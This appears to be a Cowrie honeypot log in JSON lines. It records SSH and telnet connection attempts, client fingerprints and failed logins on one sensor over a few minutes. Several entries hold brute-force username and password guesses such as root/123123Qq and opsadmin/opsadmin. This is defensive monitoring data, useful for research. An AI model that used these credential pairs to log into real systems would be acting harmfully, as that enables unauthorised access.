{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:21.451105Z","src_ip":"186.219.184.142","session":"b76be9dbe387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.609665155410767,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:24.887032Z","src_ip":"192.119.13.58","session":"8619922be9db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58720,"dst_ip":"10.17.0.5","dst_port":23,"session":"bab7a316fdbd","protocol":"telnet","message":"New connection: 192.119.13.58:58720 (10.17.0.5:23) [session: bab7a316fdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:24.939172Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37168,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2da371ac78c","protocol":"telnet","message":"New connection: 192.119.13.58:37168 (10.17.0.5:23) [session: c2da371ac78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:25.585137Z"}
{"eventid":"cowrie.session.closed","duration":42.32229781150818,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:25.825296Z","src_ip":"192.119.13.58","session":"28f79ee542dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.59924912452698,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:31.295531Z","src_ip":"192.119.13.58","session":"6bdc0bbb6dba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":33025,"dst_ip":"159.203.135.109","dst_port":23,"session":"4236672d11a7","protocol":"telnet","message":"New connection: 186.195.16.41:33025 (159.203.135.109:23) [session: 4236672d11a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:32.252372Z"}
{"eventid":"cowrie.session.closed","duration":3.725458860397339,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:35.977743Z","src_ip":"186.195.16.41","session":"4236672d11a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.92460250854492,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:41.072894Z","src_ip":"192.119.13.58","session":"77821b8f5883","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41924,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89ce1dc91e0","protocol":"telnet","message":"New connection: 192.119.13.58:41924 (10.17.0.5:23) [session: a89ce1dc91e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:41.078692Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":35982,"dst_ip":"10.17.0.5","dst_port":22,"session":"d46cd2da37e6","protocol":"ssh","message":"New connection: 91.4.14.170:35982 (10.17.0.5:22) [session: d46cd2da37e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:44.098362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:44.103792Z","src_ip":"91.4.14.170","session":"d46cd2da37e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:44.283628Z","src_ip":"91.4.14.170","session":"d46cd2da37e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123Qq","message":"login attempt [root/123123Qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:44.814425Z","src_ip":"91.4.14.170","session":"d46cd2da37e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.24317502975464,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:45.458371Z","src_ip":"192.119.13.58","session":"093311570a2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:45.930226Z","src_ip":"91.4.14.170","session":"d46cd2da37e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51922,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccce66e1e287","protocol":"telnet","message":"New connection: 192.119.13.58:51922 (10.17.0.5:23) [session: ccce66e1e287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:35:57.712452Z"}
{"eventid":"cowrie.session.closed","duration":34.598347663879395,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:00.183362Z","src_ip":"192.119.13.58","session":"c2da371ac78c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.57532620429993,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:09.514408Z","src_ip":"192.119.13.58","session":"bab7a316fdbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51568,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ed39bd820a","protocol":"telnet","message":"New connection: 192.119.13.58:51568 (10.17.0.5:23) [session: 09ed39bd820a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:11.561800Z"}
{"eventid":"cowrie.session.closed","duration":38.28058433532715,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:19.359166Z","src_ip":"192.119.13.58","session":"a89ce1dc91e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d601acc5032","protocol":"telnet","message":"New connection: 192.119.13.58:54850 (10.17.0.5:23) [session: 3d601acc5032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:26.168081Z"}
{"eventid":"cowrie.session.closed","duration":41.222609996795654,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:38.934937Z","src_ip":"192.119.13.58","session":"ccce66e1e287","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44756,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b13efe5eedb","protocol":"telnet","message":"New connection: 192.119.13.58:44756 (10.17.0.5:23) [session: 0b13efe5eedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:45.167737Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":56578,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7a7e486804","protocol":"ssh","message":"New connection: 186.219.184.142:56578 (10.17.0.5:22) [session: 8a7a7e486804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:47.478461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:47.483879Z","src_ip":"186.219.184.142","session":"8a7a7e486804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:47.624562Z","src_ip":"186.219.184.142","session":"8a7a7e486804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tin","password":"123456","message":"login attempt [tin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:48.209621Z","src_ip":"186.219.184.142","session":"8a7a7e486804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:49.353799Z","src_ip":"186.219.184.142","session":"8a7a7e486804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44080,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ef04f032a1","protocol":"telnet","message":"New connection: 192.119.13.58:44080 (10.17.0.5:23) [session: 63ef04f032a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:52.442542Z"}
{"eventid":"cowrie.session.closed","duration":4.605915546417236,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:57.048329Z","src_ip":"192.119.13.58","session":"63ef04f032a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.5754292011261,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:36:59.137117Z","src_ip":"192.119.13.58","session":"09ed39bd820a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":34286,"dst_ip":"10.17.0.5","dst_port":22,"session":"040039f1fb74","protocol":"ssh","message":"New connection: 91.4.14.170:34286 (10.17.0.5:22) [session: 040039f1fb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:02.539053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:02.545992Z","src_ip":"91.4.14.170","session":"040039f1fb74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:02.685354Z","src_ip":"91.4.14.170","session":"040039f1fb74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opsadmin","password":"opsadmin","message":"login attempt [opsadmin/opsadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:03.245539Z","src_ip":"91.4.14.170","session":"040039f1fb74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:04.371638Z","src_ip":"91.4.14.170","session":"040039f1fb74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42682,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d2857ae2956","protocol":"telnet","message":"New connection: 192.119.13.58:42682 (10.17.0.5:23) [session: 8d2857ae2956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:06.150995Z"}
{"eventid":"cowrie.session.closed","duration":40.43842601776123,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:06.606313Z","src_ip":"192.119.13.58","session":"3d601acc5032","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49182,"dst_ip":"10.17.0.5","dst_port":23,"session":"529b7b703d28","protocol":"telnet","message":"New connection: 192.119.13.58:49182 (10.17.0.5:23) [session: 529b7b703d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:07.836894Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52320,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f0c144a18f","protocol":"telnet","message":"New connection: 192.119.13.58:52320 (10.17.0.5:23) [session: 55f0c144a18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:08.668809Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49276,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8138f4376cd","protocol":"telnet","message":"New connection: 192.119.13.58:49276 (10.17.0.5:23) [session: d8138f4376cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:15.114510Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58574,"dst_ip":"10.17.0.5","dst_port":23,"session":"c53598d58c4b","protocol":"telnet","message":"New connection: 192.119.13.58:58574 (10.17.0.5:23) [session: c53598d58c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:17.306778Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":42274,"dst_ip":"10.17.0.5","dst_port":22,"session":"8227cd190f4e","protocol":"ssh","message":"New connection: 103.195.236.96:42274 (10.17.0.5:22) [session: 8227cd190f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:25.146511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:25.154471Z","src_ip":"103.195.236.96","session":"8227cd190f4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:25.395931Z","src_ip":"103.195.236.96","session":"8227cd190f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34762,"dst_ip":"10.17.0.5","dst_port":23,"session":"d75ad99175a3","protocol":"telnet","message":"New connection: 192.119.13.58:34762 (10.17.0.5:23) [session: d75ad99175a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:25.505333Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:26.122910Z","src_ip":"103.195.236.96","session":"8227cd190f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40206,"dst_ip":"10.17.0.5","dst_port":23,"session":"30e2bd18e535","protocol":"telnet","message":"New connection: 192.119.13.58:40206 (10.17.0.5:23) [session: 30e2bd18e535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:26.872742Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":53474,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6c2ac3e3bac","protocol":"ssh","message":"New connection: 185.236.22.41:53474 (10.17.0.5:22) [session: b6c2ac3e3bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:27.091772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:27.103929Z","src_ip":"185.236.22.41","session":"b6c2ac3e3bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:27.215726Z","src_ip":"185.236.22.41","session":"b6c2ac3e3bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:27.365213Z","src_ip":"103.195.236.96","session":"8227cd190f4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikanika","message":"login attempt [root/nikanika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:27.734049Z","src_ip":"185.236.22.41","session":"b6c2ac3e3bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:28.864569Z","src_ip":"185.236.22.41","session":"b6c2ac3e3bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49952,"dst_ip":"10.17.0.5","dst_port":23,"session":"0698e321eaa8","protocol":"telnet","message":"New connection: 192.119.13.58:49952 (10.17.0.5:23) [session: 0698e321eaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:29.179098Z"}
{"eventid":"cowrie.session.closed","duration":45.28990316390991,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:30.457512Z","src_ip":"192.119.13.58","session":"0b13efe5eedb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":59482,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec7581cc476d","protocol":"ssh","message":"New connection: 103.75.182.198:59482 (159.203.135.109:22) [session: ec7581cc476d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:32.640270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:37:32.645617Z","src_ip":"103.75.182.198","session":"ec7581cc476d","protocol":"ssh"}
